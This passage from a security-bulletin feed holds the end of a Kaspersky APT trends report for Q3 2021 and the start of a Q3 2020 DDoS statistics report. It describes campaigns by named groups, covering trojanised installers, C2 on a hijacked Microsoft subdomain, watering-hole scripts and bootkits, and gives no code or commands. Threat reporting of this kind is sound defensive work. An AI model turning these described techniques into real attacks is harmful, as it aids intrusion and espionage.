infection chain. This campaign was also covered by researchers at Zscaler in a [blog post](<https://www.zscaler.com/blogs/security-research/cloudfall-targets-researchers-and-scientists-invited-international-military>). Some of the changes introduced in the renewed activity include relying on Microsoft Word templates (.dotm) for persistence, instead of the previously used Microsoft Word add-ons (.wll). Nevertheless, some TTPs remain unchanged, as the new infection chain still delivers the same final implant, the Blacksoul malware, and still uses Cloudflare Workers as C2 servers. ReconHellcat goes after government organizations and diplomatic entities related to countries in Central Asia, such as Tajikistan, Kyrgyzstan, Pakistan and Turkmenistan. Additionally, we identified victims from two countries we did not encounter in the previous wave of attacks: Afghanistan and Uzbekistan. We assess, with a medium level of confidence, that ReconHellcat is a Russian-speaking threat actor.\n\n## Chinese-speaking activity\n\nAn APT threat actor, suspected to be HoneyMyte, modified a fingerprint scanner software installer package on a distribution server in a country in South Asia. The APT modified a configuration file and added a DLL with a .NET version of a PlugX injector to the installer package. On installation, even without network connectivity, the .NET injector decrypts and injects a PlugX backdoor payload into a new svchost system process and attempts to beacon to a C2. Employees of the central government in a country in South Asia are required to use this biometric package to support recording attendance. We refer to this supply-chain incident and this particular PlugX variant as SmudgeX. The Trojanized installer appears to have been staged on the distribution server from March to June.\n\nDuring 2020 and 2021, we detected a new ShadowPad loader module, dubbed ShadowShredder, used against critical infrastructure across multiple countries, including but not limited to India, China, Canada, Afghanistan and Ukraine. Upon further investigation we also discovered additional implants deployed through both ShadowPad and ShadowShredder, such as Quarian backdoor, PlugX, Poison Ivy and other hack tools. Notably, the Quarian backdoor and Poison Ivy showed similarities with previous IceFog activity targeting users in Central Asia. ShadowPad is a highly sophisticated, modular cyberattack platform that APT groups have used since 2017. We published a [blog post ](<https://securelist.com/shadowpad-in-corporate-networks/81432/>)at that time detailing the technical details of ShadowPad and its supply-chain attack campaign after its initial discovery, when it was deployed by an APT group known as Barium or APT41. In Q1 2020, we published private reports with the discovery of x64 ShadowPad dropper samples. The loader module used a unique anti-analysis trick that involves the loader module checking whether it&#x27;s been loaded via the specific EXE file by looking inside the memory space of the loader module for some hard coded bytes before the decryption of embedded shellcode. The ShadowShredder loaders we discovered more recently don&#x27;t make use of this technique, incorporating a new obfuscation method instead. Our report discusses the technical analysis of ShadowShredder and related activities using second-stage payloads linked to ShadowShredder and ShadowPad.\n\nESET published a [blog post](<https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/>) in June describing a campaign targeting foreign affairs ministries and telecoms companies in Africa and the Middle East by an actor they dubbed BackdoorDiplomacy and categorized as Chinese-speaking. We link this activity with high confidence to an actor we&#x27;re tracking under the alias CloudComputating, known to target high-profile entities in the Middle East. In their investigation ESET discovered a Quarian Linux variant sample sharing a C2 server with Windows variants, which was reportedly deployed by exploiting a known RCE vulnerability (CVE-2020-5902) in F5 Networks&#x27; BIG-IP traffic management user interface or configuration utility. The same Quarian ELF binary was also mentioned being deployed on an F5 BIG-IP server in a SANS ISC report in July 2020, one year earlier. Our private research report expanded the analysis of the Quarian Linux variant and its ties to the Windows version.\n\nLast year, we described a campaign attributed to CloudComputating in which the APT actor exploited a known vulnerability to compromise publicly exposed Microsoft Exchange servers and infected them with the China Chopper web shell. The malicious payload was then used to upload additional malware, usually the Quarian backdoor that has been seen in use by Chinese-speaking actors since around 2010. This campaign affected Ethiopia, Palestine and Kuwait. ESET&#x27;s blog post (see above) allowed us to link their campaign to the one we described in June last year and extend our previous investigation to find new unknown variants and victims. Our private report covered the version ESET dubbed Turian, two other formerly unknown Quarian versions, an overview of a builder component used to generate malicious Quarian libraries and an extended list of IoCs.\n\nExCone is a set of attacks that started in mid-March against targets in the Russian Federation. The attackers exploited Microsoft Exchange vulnerabilities to deploy a previously unknown Trojan that we dubbed FourteenHI. During our previous analysis, we found multiple ties in infrastructure and TTPs to the ShadowPad malware and UNC2643 activity. However, we were unable to attribute the attack to any known actor. Following our first report, we continued to monitor this cluster of activities and we found many other variants, which extended our knowledge of the attackers and the campaign itself. We found new malware samples used against a large number of targets, with victims in Europe, Central Asia and Southeast Asia. We also observed a cluster of publicly reported activities by various other vendors that we are able to link to ExCone with high confidence. Finally, we found a new malware sample that allows us to link ExCone to the SixLittleMonkeys APT group with low confidence. Specifically, we found a victim compromised by FourteenHI and another unknown backdoor. This new &quot;unknown backdoor&quot; presents similarities to both FourteenHI and Microcin, a Trojan exclusively attributed to SixLittleMonkeys that we described in other reports available on our Threat Intelligence Portal.\n\nThis quarter, we also pursued our investigations of what is widely known to be Chinese-speaking activities in South Asia. We discovered another set of TTPs targeting aerospace and defense research establishments in India between 2019 and the end of June 2021, featuring two previously unknown backdoors: LGuarian and HTTP_NEWS. The former appears to be a new variant of the Quarian backdoor, which this attacker also uses. Thanks to our telemetry, we obtained extensive information on the attacker&#x27;s post-exploitation process and were able to provide a detailed picture of the various tools they use during this phase, as well as actions performed on the victims&#x27; machines. This allowed us to gather a wide number of malware samples and subsequently discover a significant part of the attacker&#x27;s infrastructure.\n\nOn June 3, Check Point published a [report](<https://research.checkpoint.com/2021/chinese-apt-group-targets-southeast-asian-government-with-previously-unknown-backdoor/>) about an ongoing surveillance operation targeting a Southeast Asian government, and attributed the malicious activities to a Chinese-speaking threat actor named SharpPanda. We published a private report providing additional data on the associated malicious activities and tools, based on our own visibility of this threat.\n\nIn April, we investigated a number of malicious installer files mimicking Microsoft Update Installer files, signed with a stolen digital certificate from a company called QuickTech.com. These fake installers exhibited very convincing visuals, which reflect the amount of effort that went into making them look legitimate. The final payload, which was a Cobalt Strike beacon module, was also configured with a &quot;microsoft.com&quot; subdomain C2 server. The C2 domain code.microsoft[.]com was a dangling DNS subdomain, which was registered by the attackers around April 15 to masquerade as the official Visual Studio Code website. The victims were tricked into downloading and executing these installers on their machines through a fake Microsoft Update Catalog webpage, which was also hosted on another dangling subdomain of &quot;microsoft.com&quot;. While investigating the malicious installer files, we came across other malicious binaries which, based on various indications, we assume were developed and used by the same threat actor, active since at least January and up until June. Our private report provided an analysis of the extended toolset of this threat actor, which we named CraneLand.\n\nIn July, we identified a suspicious JavaScript (JS) inclusion on two websites that openly criticize China and which appear to be legitimate. The obfuscated JS is loaded from a remote domain name that impersonates the Google brand and initiates a malicious JS payload chain. The compromised websites still include the JS, but we could not link any other malicious activities or infrastructure to this watering-hole attack. The malicious JS does not seem to fit traditional cybercriminal goals, and its activities are quite unusual compared to those we have observed in other watering-hole attacks. We believe the malicious JS payloads are aimed at profiling and targeting individuals from Hong Kong, Taiwan or China. Any connections to the described malicious domains should be carefully reviewed to look for subsequent malicious activities.\n\n## Middle East\n\nLyceum is a threat group operating against high-profile targets in the Middle East since at least 2018. This year, we uncovered significant activity by the group focused on Tunisia&#x27;s aviation and telecoms sectors. Throughout this campaign the attackers demonstrated vigor and agility while developing two new C++ based malware implants that we dubbed Kevin and James. Both relied on techniques and communication protocols from older malware used by the group and coined DanBot. Following our report on this activity and the corresponding deployment of protection against the group&#x27;s newly found implants, we observed recurring attempts by the attackers to deploy fresh samples that were not specified in our former report. Some of these samples revealed that the attackers have also made use of two new C2 domains, likely as means to bypass security mechanisms that mitigated communication to the already known domains. Such effort characterizes the group&#x27;s persistence in compromising a targeted organization, and shows that it has not ceased to operate after being discovered, a fact that can be reinforced through yet another cluster of activity by the group that was recently exposed publicly. You can read more about our findings in the &#x27;[Lyceum group reborn&#x27;](<https://securelist.com/lyceum-group-reborn/104586/>) article.\n\n## Southeast Asia and Korean Peninsula\n\nIn June, we observed the Lazarus group attacking the defense industry using the MATA malware framework. Historically, Lazarus used MATA to attack various industries for cybercrime-like intentions: stealing customer databases and spreading ransomware. However, here we saw Lazarus using MATA for cyber-espionage purposes. The actor delivered a Trojanized version of an application known to be used by their victim of choice, representing a known characteristic of Lazarus. Executing this application starts a multi-staged infection chain beginning with a downloader. This downloader fetches additional malware from compromised C2 servers. We were able to acquire several MATA components, including plugins. The MATA malware discovered in this campaign has evolved compared to previous versions and uses a legitimate, stolen certificate to sign some of its components. Through this research, we discovered a stronger connection between MATA and the Lazarus group, including the fact that the downloader malware fetching MATA malware showed ties to TangoDaiwbo, which we had previously attributed to the Lazarus group.\n\nWe have also discovered Lazarus group campaigns using an updated DeathNote cluster. The first involved an attack on a think tank in South Korea in June. The second was an attack on an IT asset monitoring solution vendor in May. Our investigation revealed indications that point to Lazarus building supply-chain attack capabilities. In one case, we found that the infection chain stemmed from legitimate South Korean security software executing a malicious payload; and in the second case, the target was a company developing asset monitoring solutions in Latvia, an atypical victim for Lazarus. The DeathNote malware cluster consisted of a slightly updated variant of BLINDINGCAN, malware previously reported by the US CISA (Cybersecurity &amp; Infrastructure Security Agency). BLINDINGCAN was also used to deliver a new variant of COPPERHEDGE, also reported in a CISA article. We had previously reported our initial finding of COPPERHEDGE in January 2020. As part of the infection chain, Lazarus used a downloader named Racket that they signed using a stolen certificate. As a result of taking over the attacker&#x27;s infrastructure with a local CERT, we had a chance to look into several C2 scripts associated with the DeathNote cluster. The actor compromised vulnerable web servers and uploaded several scripts to filter and control the malicious implants on successfully breached victim machines.\n\nThe Kimsuky group is currently one of the most active APT groups. The threat actor is known for focusing on cyber-espionage but occasionally conducts cyberattacks for financial gain. Like other APT groups that constitute a big umbrella, Kimsuky contains several clusters: BabyShark, AppleSeed, FlowerPower, and GoldDragon.\n\nEach cluster utilizes different methodologies and has different characteristics:\n\n * BabyShark relies heavily on scripted malware and compromised web servers for C2 operations;\n * AppleSeed uses a unique backdoor named AppleSeed;\n * FlowerPower uses PowerShell scripts and malicious Microsoft Office documents;\n * GoldDragon is the oldest cluster, closest to the original Kimsuky malware.\n\nHowever, these clusters also show several overlaps. In particular, GoldDragon and FlowerPower share a strong connection in their C2 infrastructure. However, the other clusters also have a minor connection to the C2 infrastructure. We assess that BabyShark and AppleSeed are operating with different strategies.\n\nBack in May, we published a report about the freshly discovered activity of Andariel. In this campaign, a broad spectrum of industries located in South Korea were targeted with custom ransomware. During our research, we discovered that the actor was using two vectors to compromise targets. The first was the use of weaponized Microsoft Office documents with malicious macros. At the time of our original report, the second vector was still unknown but we discovered artifacts containing the path of the tool ezPDF Reader, developed by a South Korean software company named Unidocs. We were missing clear evidence that the attack leveraged a vulnerability within this software, and to solve this mystery we decided to audit the binary of this application. Our analysis of the software led us to discover a remote code execution vulnerability in ezpdfwslauncher.exe that can be leveraged to break into computers on the network with ezPDF Reader without any user interaction. We assess with high confidence that the Andariel group used the same vulnerability in its attacks. After this discovery, we contacted the developers of Unidocs and shared the details of this vulnerability with them. It was fixed as CVE-2021-26605.\n\nThis quarter we described activity associated with the Origami Elephant threat actor (aka DoNot team, APT-C-35, SECTOR02) observed from the beginning of 2020 and continuing through to this year. Origami Elephant continues to utilize the known Backconfig (aka Agent K1) and Simple Uploader components, but we have also identified lesser-known malware named VTYREI (aka BREEZESUGAR) used as a first-stage payload. Additionally, we observed a unique technique of encoding the remote template used in the malicious documents that we have not seen utilized by other threat actors. Victimology is consistent with past operations: the adversary continues to focus on the South Asia region with special interest in government and military entities mainly in Pakistan, Bangladesh, Nepal and Sri Lanka.\n\nWe also tracked Origami Elephant activity targeting Android mobile phones from the end of 2020 up to the time of our report, picking up where we left off with last year&#x27;s report. We see that the infrastructure is still active, communicating with the same malware we previously reported, albeit with a few changes in code obfuscation. The targeting remained the same as last year, with victims located in the South Asian region: India, Pakistan and Sri Lanka in particular. The actor revised the infection chain compared with last year&#x27;s campaign. Instead of delivering a downloader stager, we observed the Android Trojan being directly delivered. This is done via links to malicious landing pages or direct messages via some instant messaging platform such as WhatsApp. The samples we analyzed mimicked various applications such as private messaging, VPN, and media services. Our report covered the current state of Origami Elephant&#x27;s activities against Android devices and provided additional IoCs linked to both the latest and historical group activities. Scanning the internet with available clues from our previous research, we are able to discover newly deployed hosts, in some cases even before they become active.\n\n## Other interesting discoveries\n\nIn September, we provided an overview of the FinSpy PC implant. This covered not only the Windows version, but also Linux and macOS ones, which share the same internal structure and features. FinSpy is a notorious surveillance toolset that several NGOs have repeatedly reported being used against journalists, political dissidents and human rights activists. Historically, its Windows implant was represented by a single-stage spyware installer. This version was detected and researched several times up to 2018. Since then, we have observed a decreasing detection rate for FinSpy for Windows. While the nature of this anomaly remained unknown, we began detecting some suspicious installer packages backdoored with Metasploit stagers. We were unable to attribute these packages until the middle of 2019 when we found a host that served these installers among FinSpy Mobile implants for Android. Over the course of our investigation, we found out that the backdoored installers are nothing more than first-stage implants that are used to download and deploy further payloads before the actual FinSpy Trojan. Apart from the Trojanized installers, we also observed infections involving usage of a UEFI or MBR bootkit. While the MBR infection has been known since at least 2014, details of the UEFI bootkit were only publicly revealed for the first time in our article. We decided to share some of our unseen findings about the actual state of FinSpy implants. You can read our public report [here](<https://securelist.com/finspy-unseen-findings/104322/>).\n\nTowards the end of Q3, we identified a previously unknown payload with advanced capabilities, delivered using two infection chains to various government organizations and telecoms companies in the Middle East. The payload makes use of a Windows kernel-mode rootkit to facilitate some of its activities and is capable of being persistently deployed through an MBR or a UEFI bootkit. Interestingly enough, some of the components observed in this attack have been formerly staged in memory by Slingshot agent on multiple occasions, whereby Slingshot is a post-exploitation framework that we covered in several cases in the past (not to be confused with the &#x27;Slingshot&#x27; APT). It is mainly known for being a proprietary commercial penetration testing toolkit officially designed for red team engagements. However, it&#x27;s not the first time that attackers appear to have taken advantage of it. One of our previous reports from 2019 covering FruityArmor&#x27;s activity showed that the threat group used it to target organizations across multiple industries in the Middle East, possibly by leveraging an exploit in Skype as an infection vector. In a recent private intelligence report, we provided a drill-down analysis of the newly discovered malicious toolkit that we observed in tandem with Slingshot and how it was leveraged in clusters of activity in the wild. Most notably, we outlined some of the advanced features that are evident in the malware as well as its utilization in a particular long-standing activity against a high profile diplomatic target in Iraq.\n\n## Final thoughts\n\nWhile the TTPs of some threat actors remain consistent over time, relying heavily on social engineering as a means of gaining a foothold in a target organization or compromising an individual&#x27;s device, others refresh their toolsets and extend the scope of their activities. Our regular quarterly reviews are intended to highlight the key developments of APT groups.\n\nHere are the main trends that we&#x27;ve seen in Q3 2021:\n\n * We continue to see supply-chain attacks, including those of SmudgeX, DarkHalo and Lazarus.\n * In this quarter we focused on researching and dismantling surveillance frameworks following malicious activities we detected. These include FinSpy and the use of advanced and highly capable payloads staged by a commercial post-exploitation framework known as Slingshot. These tools contain powerful covert capabilities, such as the use of bootkits for persistence. Bootkits remain an active component of some high profile APT attacks, notwithstanding various mitigations Microsoft has added to make them much less easy to deploy on the Windows operating system.\n * We observed an abnormal spike in activity coming from what is widely known to be Chinese-speaking threat groups this quarter, particularly when compared to the start of the year. By contrast, we have seen a decrease in activity in the Middle East this quarter.\n * Social engineering remains a key method for initiating attacks; but also exploits (CloudComputating, Origami Elephant, Andariel), including exploiting firmware vulnerabilities.\n * As illustrated by the campaigns of various threat actors \u2013 including Gamaredon, CloudComputating, ExCone, Origami Elephant, ReconHellcat, SharpPanda \u2013 geo-politics continues to drive APT developments.\n\nAs always, we would note that our reports are the product of our visibility into the threat landscape. However, it should be borne in mind that, while we strive to continually improve, there is always the possibility that other sophisticated attacks may fly under our radar.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-26T10:00:11", "type": "securelist", "title": "APT trends report Q3 2021", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902", "CVE-2021-26605"], "modified": "2021-10-26T10:00:11", "id": "SECURELIST:1B793FC976660636D7A37F563350F59A", "href": "https://securelist.com/apt-trends-report-q3-2021/104708/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-28T10:15:51", "description": "\n\n## News overview\n\nQ3 was relatively calm from a DDoS perspective. There were no headline innovations, although cybercriminals did continue to master techniques and develop malware already familiar to us from the last reporting period. For example, [another DDoS botnet](<https://www.trendmicro.com/en_us/research/20/i/exposed-docker-server-abused-to-drop-cryptominer-ddos-bot-.html>) joined in the assault on Docker environments. The perpetrators infiltrated the target server, created an infected container, and placed in it the Kaiten bot (also known as Tsunami), paired with a cryptominer.\n\nThe Lucifer botnet, which first appeared on researchers&#x27; radar last quarter, and knows all about DDoS attacks and cryptocurrency mining, got an update, and now infects [not only Windows, but also Linux](<https://www.netscout.com/blog/asert/lucifers-spawn>) devices. In DDoS attacks, the new version can use all major protocols (TCP, UDP, ICMP, HTTP) and spoof the IP address of the traffic source.\n\nMirai enthusiasts supplemented their brainchild with exploits for new vulnerabilities. In July, our colleagues at Trend Micro told about a variant of the botnet that [exploited the bug CVE-2020-10173](<https://www.trendmicro.com/en_us/research/20/g/new-mirai-variant-expands-arsenal-exploits-cve-2020-10173.html>) in Comtrend VR-3033 routers, allowing sections of the network connected to vulnerable routers to be compromised. Then in August, news broke of a Mirai variant [attacking BIG-IP products](<https://www.pandasecurity.com/mediacenter/business/mirai-botnet-exploits-new-vulnerability/>) through the CVE-2020-5902 vulnerability. The BIG-IP family includes firewalls, load management and access control apps, and fraud and botnet protection systems. The vulnerability can be used to execute arbitrary commands, upload and delete files, disable services, and run JavaScript scripts.\n\nOn the topic of actual DDoS attacks, Q3 was not that eventful. The most newsworthy were extortion attacks allegedly carried out by actors [known for hiding behind variously named APT groups](<https://blogs.akamai.com/sitr/2020/08/ransom-demands-return-new-ddos-extortion-threats-from-old-actors-targeting-finance-and-retail.html>): FancyBear, Armada Collective, Lazarus, and others. The ransomers send bitcoin ransom emails to organizations around the world, demanding from 5 BTC to 20 BTC, and threatening a powerful and sustained DDoS attack in case of non-payment. After that, the victim is flooded with junk traffic to demonstrate that the threats are far from empty.\n\nIn August and early September, several organizations in New Zealand were hit, including the New Zealand Stock Exchange (NZX), which was taken offline for several days. Also among the victims were the Indian bank YesBank, PayPal, Worldpay, Braintree, and other [financial companies](<https://www.zdnet.com/article/ddos-extortionists-target-nzx-moneygram-braintree-and-other-financial-services/>). Another DDoS wave of bitcoin ransom demands affected [a number of European ISPs](<https://www.zdnet.com/article/european-isps-report-mysterious-wave-of-ddos-attacks/>); however, it&#x27;s not known for sure whether this was the work of the same group. At the end of September, [financial and telecommunications companies](<https://www.usnews.com/news/technology/articles/2020-09-26/hungary-hit-by-large-cyber-attack-from-asia-magyar-telekom>) in Hungary were rocked by a powerful DDoS attack. According to Magyar Telekom, the junk traffic came from Russia, China, and Vietnam. Whether the cybercriminals sent ransom messages as part of the attack is unknown.\n\nThe back end of September saw a series of DDoS attacks on [public flight-tracking services](<https://www.securityweek.com/attacks-flight-tracking-services-possibly-linked-armenia-azerbaijan-conflict>). The victims included the Swedish website Flightradar24 and the UK platform Plane Finder, which monitor the movement of aircraft in real time. These services are in great demand: meeters and greeters can check if a flight is on time, and media use the information when reporting on aircraft incidents. As a result, the services worked only intermittently, and their Twitter accounts posted messages that an attack had taken place. A tweet from Flightradar24, for instance, reported that the resource had suffered no fewer than three attacks in a short space of time. US company FlightAware also reported service availability issues, but did not specify whether it was an attack or just a malfunction.\n\nQ3 was not without traditional attacks on the media. Russian TV station Dozhd [reported a DDoS incident](<https://snob.ru/accidents/dozhd-soobshil-o-dvuh-za-den-ddos-atakah-na-servery-kanala/>) on August 24. Unknown cyberactors attempted to take the resource offline during daytime and evening news broadcasts. In early September, cybercriminals [targeted the news agency UgraPRO](<https://www.ugrapro.ru/2020/09/01/ddos-1-sentyabrya-kak-simvol-nachala-novogo-politicheskogo-sezona-terroristyi-vnov-atakuyut-yugrapro/>). According to media reports, the junk traffic originated from Russian and foreign IP addresses at a rate of more than 5,000 requests per second. In late September, the news portals [Chronicles of Turkmenistan](<https://www.hronikatm.com/2020/09/ddos/>) and [Sputnik Armenia](<https://ria.ru/20200929/sputnik-1577962788.html>) reported attacks on their websites.\n\nLastly, due to the coronavirus pandemic and related restrictions in Russia, the Unified State Exam, sat by final grade students in Russian schools, was this year postponed to July. This could hardly fail to impact the DDoS landscape: in the middle of the month, the Federal Service for Supervision in Education and Science (Rosobrnadzor) reported [an attempt to disrupt the exam results portal](<https://russian.rt.com/russia/news/764869-sait-ege-ddos-ataka>). Fortunately, the results had not yet been uploaded, so the attack was a wasted effort.\n\nMore school-related attacks were predictably seen at the start of the academic year. For example, in Miami-Dade County, Florida, a DDoS wave swept across the websites of local educational institutions, disrupting online classes. However, one of the juvenile cybercriminals met with near-instant karma: the schools brought in the FBI, and by September 3 [the delinquent had been arrested](<https://securityboulevard.com/2020/09/teenager-arrested-for-last-weeks-ddos-attacks-on-miami-dade-public-school-network/>). The other perpetrators are still being traced.\n\nOn the topic of the FBI, in Q2 the agency issued two anti-DDoS alerts for businesses. In July, a document was released containing a brief [description of new amplification methods](<https://image.communications.cyber.nj.gov/lib/fe3e15707564047c7c1270/m/2/FBI+PIN+-+7.21.2020.pdf>), as well as recommendations for detecting attacks and measures to prevent them. And in late August, it published a fairly detailed [report on DDoS extortionists activity](<https://www.radware.com/newsevents/mediacoverage/2020/fbi-warns-of-global-ddos-extortion-campaign-iran-aligned-cyberespionage-group-sells-network-access>), again with tips for countering such attacks.\n\n## Quarter trends\n\nIn Q3, we observed a significant drop in all indicators relative to the previous reporting period. This is more likely due to the anomalous DDoS activity seen in Q2 than any unusual lull this quarter, which becomes clear when comparing the current picture with data for the same period in 2019: total attacks increased by 1.5 times, while the number of smart attacks almost doubled.\n\n_Comparative amount of DDoS attacks, Q2/Q3 2020 and Q3 2019. Data for Q3 2019 is taken as the 100% reference value ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/10/27152123/01-en-ddos-report-q3-2020-chrarts.png>))_\n\nUnlike the previous quarter, Q3 can be described as normal: we are finally witnessing the traditional summer decline in the attack market, which did not happen in May and June. We expected such picture in early 2020, but the abnormally high Q2 figures upset the applecart. The current normalization of DDoS activity can be explained by two factors:\n\n 1. Global market stabilization amid the coronavirus pandemic. It is now nine months since the introduction of quarantine measures, and the mass transition to remote working has ceased to be news. Companies have adapted to the new work format, and IT departments have plugged holes in remote infrastructure and strengthened key nodes. As a result, there are fewer targets fit for attack.\n 2. Cryptocurrency market growth. For instance, the Ethereum price chart (see below) shows a clear jump in Q3. Cryptocurrency mining and DDoS attacks are competing markets. Many botnets can do both, and their operators choose where to direct resources at any particular moment depending on the potential yield. In Q3, some botnets could have been switched over to mining.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/10/27151336/DDoS_attacks_in_Q3_2020_1.png>)\n\n**_Ethereum price dynamics from October 13, 2019, to October 13, 2020. Source: coindesk.com_**\n\n## Quarter statistics\n\n### Methodology\n\nKaspersky has a long history of combating cyber threats, including DDoS attacks of all types and complexity. Company experts monitor botnets using the Kaspersky DDoS Intelligence system.\n\nThe DDoS Intelligence system is part of the [Kaspersky DDoS Protection](<https://www.kaspersky.com/small-to-medium-business-security/ddos-protection>) solution, and intercepts and analyzes commands sent to bots from C&amp;C servers. The system is proactive, not reactive, meaning that it does not wait for a user device to get infected or a command to be executed.\n\nThis report contains DDoS Intelligence statistics for Q3 2020.\n\nIn the context of this report, the incident is counted as a single DDoS-attack only if the interval between botnet activity periods does not exceed 24 hours. For example, if the same web resource was attacked by the same botnet with an interval of 24 hours or more, then this is considered as two attacks. Bot requests originating from different botnets but directed at one resource also count as separate attacks.\n\nThe geographical location of DDoS victims is determined by their IP addresses. The number of unique targets of DDoS attacks in this report is counted by the number of unique IP addresses in the quarterly statistics.\n\nDDoS Intelligence statistics are limited to botnets detected and analyzed by Kaspersky. Note that botnets are just one of the tools used for DDoS attacks, and that this section does not cover every single DDoS attack that occurred during the review period.\n\n## Quarter results\n\n * The TOP 3 by number of attacks and targets remain unchanged: China (71.20 and 72.83%), the US (15.30 and 15.75%), and the Hong Kong Special Administrative Region (4.47 and 4.27%).\n * The Netherlands and Vietnam are new faces in the Top 10 by number of attacks.\n * As for the ranking by number of targets, there was a noticeable decline of interest in Asia: Hong Kong lost 2.07 p.p. and Singapore 0.3 p.p., while Japan and South Korea did not even show._ The exception is China, where the share of targets rose by 6.81 p.p._\n * After the Q2 upturn, the number of attacks in Q3 dipped again. What&#x27;s more, the difference between the peak (323 attacks per day) and anti-peak (1 registered attack) figures increased sharply.\n * In Q3, we observed a two-week drop in late August and early September. During this period, there were three anti-peaks (August 31, September 1/7) with one attack per day, and another five days with fewer than 10.\n * DDoS botnet flooding was most active on Thursdays, with a noticeable dip on Fridays.\n * Although Q3 lags far behind Q1 in terms of duration, there were two registered attacks of more than 10 days (246 and 245 hours), and the number of attacks lasting 5\u20139 days (12 attacks lasting 121\u2013236 hours) increased.\n * The distribution of attacks by type did not undergo any changes: SYN flooding is still the main tool (94.6%), its share remaining virtually unchanged since the previous quarter. ICMP attacks comprised 3.4%, while HTTP flooding scored less than 0.1% of attacks.\n * Linux botnets still dominate over their Windows counterparts, accounting for 95.39% of attacks (up 0.61 p.p. on the previous quarter).\n\n### Attack geography\n\nQ3 2020 brought no surprises in terms of the geographical distribution of attacks. The TOP 3 by number of attacks this year is surprisingly stable: China (71.2%, up 6.08 p.p. against Q2), the US (15.3%, down 4.97 p.p.), and Hong Kong (4.47%, down 1.61 p.p.). Despite some fluctuations, the huge gap between China and the US, and Hong Kong&#x27;s markedly lower share, remain unchanged. We saw a similar state of play in Q3 2019.\n\nSingapore, Australia, and India all climbed one line higher (from fifth to fourth, sixth to fifth, and seventh to sixth place, respectively), knocking South Africa from fourth to eighth. The reason has less to do with the rising share of attacks in these countries, rather the relative calm in South Africa itself: in July-September, the share of attacks there fell by 0.88 p.p. to 0.4%. At the same time, there were fewer registered attacks in Singapore, in relative terms, than in the previous reporting period: 0.85% of DDoS attacks (-0.28 p.p.). The shares of Australia and India increased by roughly the same amount (+0.27 p.p. and +0.24 p.p., respectively), delivering a 0.65% share for the former and 0.57% for the latter.\n\nIn seventh place in the ranking, wedged between India and South Africa, is the Netherlands, absent from the TOP 10 since Q3 2019. In the reporting period, this country accounted for 0.49% of attacks.\n\nThe TOP 10 by number of attacks is rounded out by Vietnam and the UK. The share of attacks in the former increased by 0.23 p.p. against Q2, giving Vietnam a TOP 10 finish for the second time this year with 0.39% of attacks (its previous entry was at the start of the year). As for the UK, it remains relatively stable: from 0.18% of attacks in Q2, its share rose only slightly, to 0.25%.\n\n_Distribution of DDoS attacks by country, Q2 and Q3 2020 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/10/27152155/02-en-ddos-report-q3-2020-chrarts.png>))_\n\nThe geographical distribution of targets also changed insignificantly: only two newcomers entered the TOP 10, although the reshuffling of last quarter&#x27;s ranking is more pronounced than in the distribution of attacks.\n\nThe TOP 3 remained the same as in the previous quarter: China, the US, Hong Kong. The share of targets in China continues to grow \u2014 up 6.81 p.p. against the last reporting period, approaching three-quarters of all registered targets: 72.83%. Having shed 3.57 p.p., the US was left with 15.75% of targets. Hong Kong lost 2.07 p.p., its share of targets falling to 4.27%.\n\nFourth place was taken by Singapore. Despite the reduced number of targets there (down 0.3 p.p. to 0.74%), it moved up one notch, displacing South Africa. In fifth position was Vietnam with 0.5% of registered targets (in the previous reporting period it ranked seventh). The already mentioned South Africa claimed sixth place with 0.47% of targets.\n\nThe next two positions, seventh and eighth, went to a couple of newbies: the UK (0.35%) and the Netherlands (0.27%). It was their first inclusion in the ranking since Q4 and Q3 2019, respectively. These European countries ousted Asia&#x27;s Japan and South Korea, which had occupied the bottom two lines in last quarter&#x27;s TOP 10 countries by number of targets. In Q3, these lines were filled by Australia (0.25%) and India (0.23%), which had previously sat in sixth and eighth position, respectively.\n\n_Distribution of unique DDoS-attack targets by country, Q3 and Q4 2020 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/10/27152244/03-en-ddos-report-q3-2020-chrarts.png>))_\n\n### Dynamics of the number of DDoS attacks\n\nThe number of attacks this quarter varied significantly. On the one hand, at peak activity, DDoS operators broke the previous period&#x27;s record: on July 2, we registered 323 attacks (compared to 298 in April). On the other, this quarter had a few surprisingly calm days: August 31 and September 1/7 saw only one registered attack each. Overall, late August\u2013early September was quite mild: during the two weeks from August 25 to September 7, the number of attacks exceeded 100 on just one day (181 on September 5), and as many as eight days registered fewer than 10.\n\nAnother curiosity is the difference between the peak and the indicators closest to it. In the past few quarters, there has been no significant difference in the number of attacks on the 2\u20133 most active days. Q3 broke the mold: the next most attack-intensive day after July 2 \u2014 July 13 \u2014 scored almost 20% fewer attacks, 260 in total. On average, there were approximately 106 attacks per day in Q3, which is 10 fewer than in the previous quarter.\n\n_Dynamics of the number of DDoS attacks, Q3 2020 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/10/27152313/04-en-ru-es-ddos-report-q2-2020.png>))_\n\nCybercriminals&#x27; most and least favored days shifted again this quarter. Active Wednesdays were replaced by active Thursdays (19.02%), and quiet Saturdays by quiet Fridays (10.11%). The gap between them widened: 8.91 p.p. against 4.93 p.p. in the previous reporting period. This is largely due to Thursday being the most active day of the 